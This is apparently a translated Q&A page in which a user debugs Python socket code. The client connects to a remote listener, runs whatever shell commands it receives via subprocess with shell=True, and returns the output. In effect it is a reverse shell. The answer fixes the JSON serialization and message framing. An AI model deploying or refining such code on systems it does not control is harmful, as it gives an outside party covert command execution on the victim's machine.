Как преобразовать команду оболочки через входной сокет в данные сериализации json. например: json.dumps и json.loads python 3x

Question

Я пытаюсь выполнить команду удаленно через сокетное соединение, но когда я даю код команды, происходит сбой с результатом: генерирует subprocess.CalledProcessError: Команда «dir» вернула ненулевой статус выхода 1.

Клиент

!/usr/bin/env python

import socket
import subprocess
import json


class remote:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = json.dumps(self.connection.recv(1024).decode())
        return json.loads(json_data)
        # stuck here! I am trying to create a mkdir via subprocess command. But cannot figure out after this.


    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)
        connection.close()


my_class = remote("xxx.xxx.xxx.xxx", xxxx)
my_class.run()

Цель - запустить все команды, набранные на сервере, для работы на клиенте. Но для управления большим файлом. Сервер пытается поместить все полученные данные в данные сериализации Json через json.dumps и извлечь через json.loads. Код прекрасно работает без сериализации.

Сервер

!/usr/bin/env python

import socket, json


class Listener:
    def __init__(self, ip, port):
       listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
       listener.bind((ip, port))
       listener.listen(0)
       print("[+] Waiting for incoming connections")
       self.connection, address = listener.accept()
       print("[+] Got connection from " + str(address))

   def reliable_send(self, data):
       json_data = json.dumps(data)
       self.connection.send(json_data)

   def reliable_receive(self):
       json_data = json.dumps(self.connection.recv(1024).decode())
       return json.loads(json_data)

   def execute_remotely(self, command):
       self.reliable_send(command)
       return self.reliable_receive()

   def run(self):
       while True:
           command = raw_input(">> ")
           result = self.execute_remotely(command)
           print(result)


my_listener = Listener("xxx.xxx.xxx.xxx", xxxx)
my_listener.run()

Answer 1

В reliable_receive вы немедленно набираете json.loads в результате вызова json.dumps. Это явно бессмысленно.

В частности, вы уже позвонили json.dumps в reliable_send. В целом, вам, конечно, нужно одинаковое количество дампов и нагрузок; дисбаланс привел к дополнительным кавычкам, очевидным в сообщении об ошибке.

Более фундаментальная проблема заключается в том, что ваш протокол ненадежен : он предполагает, что сообщения приходят атомарно и по отдельности (никогда не гарантируется SOCK_STREAM, как следует из названия) и не длиннее 1024 B. Вам нужно использовать некоторую форму инкрементального анализа для распознавания концов сообщений.

Это может быть так же просто, как добавить нулевой байт к каждому, поскольку мы знаем, что JSON никогда не использует его. Но вы все равно должны получать в цикле, пока не увидите один, не удалите его и не держите хвост за ним для следующей команды.